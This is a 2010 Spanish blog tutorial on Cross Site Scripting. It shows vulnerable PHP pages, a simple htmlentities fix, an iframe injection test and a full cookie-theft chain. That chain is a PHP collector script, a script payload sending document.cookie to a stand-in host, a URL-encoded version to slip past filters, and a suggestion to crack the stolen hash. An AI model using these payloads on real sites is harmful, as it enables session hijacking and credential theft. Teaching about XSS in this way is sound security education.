martes, 9 de febrero de 2010

XSS - Cross Site Scripting


Cada día salen más ataques del tipo XSS, si mal no recuerdo uno de los más sonados fue el de la página de la Moncloa. También hay otros famosos como el de la página de la SGAE en sus búsquedas y el el más reciente, la página de búsquedas de la presidencia española de la UE.

Sin duda, la culpa es de los programadores, no validar las entradas es un error terrible y aunque en estos casos estas vulnerabilidades no fueran explotables nos hacen quedar en ridículo. En cualquier caso hoy trataré de dar la imagen más peligrosa de los XSS para ver si de una vez la gente se mentaliza.

Por ello mismo haremos un simple paseo por scripts tontos y scripts menos tontos. Lo primero de todo es la teoría. La teoría dice que para probar un XSS usaremos un simple document.Alert de javascript para ver si se nos muestra por pantalla la típica ventana de advertencia. A mi me gustan mas los iframes, por ello mismo usaremos este código:
<iframe src=http://donzeyt.blogspot.com>
Para ver si es vulnerable nuestro atacante tan sólo habría que añadir en el campo de búsqueda $_POST o en cualquier parámetro $_GET el siguiente código. Nosotros por comodidad, lo haremos con $_GET.
Vulnerable1.php
<?php
    $seccion = $_GET["seccion"];
    echo "Usted esta en ".$seccion;
?>
Para arreglarlo hubiera sido tan sencillo como:
<?php
    $seccion = htmlentities($_GET["seccion"]);
    echo "Usted esta en ".$seccion;
?>
En cualquier caso probaremos nuestro ataque. Para ello iremos a:
http://nuestroservidor.example.com/Vulnerable1.php?seccion=<iframe src=http://donzeyt.blogspot.com>
Si aparece un iframe con la página es que las cosas funcionan bastante bien y es vulnerable.
 
Perfecto, este es un ejemplo de los mas sencillos. Ahora mismo vamos a pasar al más grave, de la inocentada a lo gordo. El script vulnerable sigue siendo el mismo solo que añadiremos una cookie. Todavía no hemos hablado de esto pero lo veremos por encima.
Vulnerable2.php
<?php
    $seccion = $_GET["seccion"];
    $contraseña = sha1($_GET["pass"]);
    setcookie("contraseña", $contraseña , time()+ 3600);
    echo "Usted esta en ".$seccion;
?>
Una vez guardado crearemos el script al que llamaremos para que guarde la información.
come_cookies.php
<?php
$cookie = $_GET["cookie"];
$fp = fopen("robada.txt", 'w');
fwrite($fp, $cookie);
fclose($fp);
?>
Este script nos guardará las cookies en un fichero de texto y será al que invocaremos. En este caso en vez de usar el iframe, he decidido usar el document location de javascript.
<script>document.location=http://nuestroservidor.example.com/come_cookies.php?cookie=' +document.cookie</script>
Muchos servidores normalmente suelen llevar protección de scripts pero esta es fácilmente saltable codificando nuestra cadena a HEX o directamente mediante la codificación del a URL. Existen gran cantidad de conversores online gratuitos, os recomiendo este. Una vez codificado quedaría así:
%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3E
Listo, ya sólo queda atacar, para ello tocará lo siguiente:
http://nuestroservidor.example.com/Vulnerable2.php?pass=hola&seccion=%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3E
Si todo ha ido bien, cookie robada, con ella crackearemos la contraseña por fuerza bruta o diccionario y listo.

No hay comentarios:

Publicar un comentario